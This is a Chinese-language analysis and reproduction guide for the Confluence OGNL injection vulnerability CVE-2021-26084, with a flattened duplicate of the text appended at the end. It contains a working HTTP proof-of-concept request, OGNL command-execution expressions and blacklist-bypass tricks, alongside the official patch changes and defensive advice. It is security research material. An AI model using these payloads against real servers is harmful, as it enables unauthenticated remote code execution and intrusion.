从挖矿木马事件到Confluence 远程代码执行漏洞(CVE-2021-26084)分析
字数 1461 2025-08-07 08:21:54

Confluence远程代码执行漏洞(CVE-2021-26084)分析与复现指南

1. 漏洞背景

CVE-2021-26084是Atlassian Confluence中的一个OGNL表达式注入漏洞,允许未经认证的攻击者在Confluence服务器上执行任意代码。该漏洞已被广泛用于传播挖矿木马等恶意软件。

2. 漏洞影响

  • 影响版本:Confluence Server和Data Center的所有版本
  • 漏洞类型:远程代码执行(RCE)
  • CVSS评分:9.8 (Critical)

3. 漏洞复现

3.1 复现环境准备

# 拉取CentOS镜像
sudo docker pull centos

# 启动容器
sudo docker run -d -p 8090:8090 -p 5050:5050 --privileged=true --name confluence_7.12.4_privileged 5d0da3dc9764 /usr/sbin/init

# 进入容器
sudo docker exec -it [CONTAINER_ID] bash

3.2 安装依赖

# 安装JDK
yum install java-11-openjdk-devel -y

# 设置JAVA_HOME
echo 'JAVA_HOME=/usr/lib/jvm/java-11-openjdk-11.0.12.0.7-0.el8_4.x86_64' >> ~/.bashrc
source ~/.bashrc

# 安装MySQL
yum install -y mysql mysql-server
service mysqld start

# 配置MySQL
mysql -e "CREATE DATABASE confluence CHARACTER SET utf8 COLLATE utf8_bin;"
mysql -e "SET GLOBAL TRANSACTION ISOLATION LEVEL READ COMMITTED;"

3.3 安装Confluence

# 下载Confluence
wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-7.12.4.tar.gz

# 解压
tar -xzvf atlassian-confluence-7.12.4.tar.gz -C /opt/

# 配置
echo "confluence.home=/opt/confluence/data" >> /opt/atlassian-confluence-7.12.4/confluence/WEB-INF/classes/confluence-init.properties

# 设置调试端口
echo 'CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"' >> /opt/atlassian-confluence-7.12.4/bin/setenv.sh

# 启动Confluence
/opt/atlassian-confluence-7.12.4/bin/startup.sh

3.4 漏洞验证

发送以下HTTP请求:

POST /pages/doenterpagevariables.action HTTP/1.1
Host: [target]:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027&linkCreation=%5cu0027%2b%7b3*4%7d%2b%5cu0027

如果响应中包含计算结果(如9和12),则证明漏洞存在。

4. 漏洞分析

4.1 漏洞原理

漏洞存在于Confluence的Velocity模板中,特别是createpage-entervariables.vm文件。攻击者可以通过queryStringlinkCreation参数注入OGNL表达式。

4.2 关键代码分析

漏洞点位于confluence/pages/createpage-entervariables.vm

#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")

当这些参数值被处理时,会经过以下调用链:

  1. AbstractTagDirective.applyAttributes()
  2. AbstractUITag.doEndTag()
  3. AbstractUITag.evaluateParams()
  4. WebWorkTagSupport.findValue()
  5. OgnlValueFinder.findValue()
  6. Ognl.getValue()

最终导致OGNL表达式被执行。

4.3 OGNL表达式注入

OGNL (Object-Graph Navigation Language) 是一种表达式语言,具有三要素:

  • expression: 表达式
  • root: 根对象
  • context: 上下文环境

攻击者可以利用OGNL的getValue()方法执行任意代码:

// 执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")
// 或
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

4.4 绕过技术

  1. HTML实体转义绕过

    • 使用\u0027代替单引号,避免被转义为'
  2. 黑名单绕过

    • 使用数组表示法绕过类加载检查:
      ""["class"].forName("java.lang.Runtime")
      
    • 替代传统的:
      "".getClass().forName("java.lang.Runtime")
      

5. 官方修复

Atlassian通过以下方式修复了该漏洞:

  1. 移除了所有漏洞点参数中的$符号,防止OGNL表达式计算
  2. 修改了以下文件:
# File 1: confluence/users/user-dark-features.vm
value='$!action.featureKey' -> value=featureKey

# File 2: confluence/login.vm
value='$!action.token' -> value=token

# File 3: confluence/pages/createpage-entervariables.vm
value='$!queryString' -> value=queryString
value='$linkCreation' -> value=linkCreation

# File 4: confluence/template/custom/content-editor.vm
移除了多个value值的$!前缀

# File 5: confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-loader*.jar
value='$!{action.syncRev}' -> value=syncRev

6. 防御措施

  1. 立即升级到最新版本的Confluence
  2. 如果无法立即升级,应用官方提供的补丁
  3. 限制对Confluence管理界面的访问
  4. 监控服务器上的可疑进程和网络连接
  5. 定期检查系统日志和Confluence日志

7. 关联威胁

该漏洞常被用于传播Sysrv-hello僵尸网络进行挖矿活动。攻击者通常会:

  1. 利用漏洞上传和执行恶意脚本
  2. 创建定时任务维持持久性
  3. 下载并执行挖矿程序(如kthreaddi)

8. 调试技巧

  1. 使用IDEA远程调试:

    • 配置Remote Host为服务器IP
    • Port为5050
    • 将WEB-INF目录下的lib、atlassian-bundled-plugins等加入依赖库
  2. 关键断点位置:

    • OgnlValueStack.findValue()
    • Ognl.getValue()
    • AbstractTagDirective.applyAttributes()

9. 参考链接

Confluence远程代码执行漏洞(CVE-2021-26084)分析与复现指南 1. 漏洞背景 CVE-2021-26084是Atlassian Confluence中的一个OGNL表达式注入漏洞,允许未经认证的攻击者在Confluence服务器上执行任意代码。该漏洞已被广泛用于传播挖矿木马等恶意软件。 2. 漏洞影响 影响版本:Confluence Server和Data Center的所有版本 漏洞类型:远程代码执行(RCE) CVSS评分:9.8 (Critical) 3. 漏洞复现 3.1 复现环境准备 3.2 安装依赖 3.3 安装Confluence 3.4 漏洞验证 发送以下HTTP请求: 如果响应中包含计算结果(如9和12),则证明漏洞存在。 4. 漏洞分析 4.1 漏洞原理 漏洞存在于Confluence的Velocity模板中,特别是 createpage-entervariables.vm 文件。攻击者可以通过 queryString 和 linkCreation 参数注入OGNL表达式。 4.2 关键代码分析 漏洞点位于 confluence/pages/createpage-entervariables.vm : 当这些参数值被处理时,会经过以下调用链: AbstractTagDirective.applyAttributes() AbstractUITag.doEndTag() AbstractUITag.evaluateParams() WebWorkTagSupport.findValue() OgnlValueFinder.findValue() Ognl.getValue() 最终导致OGNL表达式被执行。 4.3 OGNL表达式注入 OGNL (Object-Graph Navigation Language) 是一种表达式语言,具有三要素: expression: 表达式 root: 根对象 context: 上下文环境 攻击者可以利用OGNL的 getValue() 方法执行任意代码: 4.4 绕过技术 HTML实体转义绕过 : 使用 \u0027 代替单引号,避免被转义为 ' 黑名单绕过 : 使用数组表示法绕过类加载检查: 替代传统的: 5. 官方修复 Atlassian通过以下方式修复了该漏洞: 移除了所有漏洞点参数中的 $ 符号,防止OGNL表达式计算 修改了以下文件: 6. 防御措施 立即升级到最新版本的Confluence 如果无法立即升级,应用官方提供的补丁 限制对Confluence管理界面的访问 监控服务器上的可疑进程和网络连接 定期检查系统日志和Confluence日志 7. 关联威胁 该漏洞常被用于传播Sysrv-hello僵尸网络进行挖矿活动。攻击者通常会: 利用漏洞上传和执行恶意脚本 创建定时任务维持持久性 下载并执行挖矿程序(如kthreaddi) 8. 调试技巧 使用IDEA远程调试: 配置Remote Host为服务器IP Port为5050 将WEB-INF目录下的lib、atlassian-bundled-plugins等加入依赖库 关键断点位置: OgnlValueStack.findValue() Ognl.getValue() AbstractTagDirective.applyAttributes() 9. 参考链接 Atlassian安全公告 CVE-2021-26084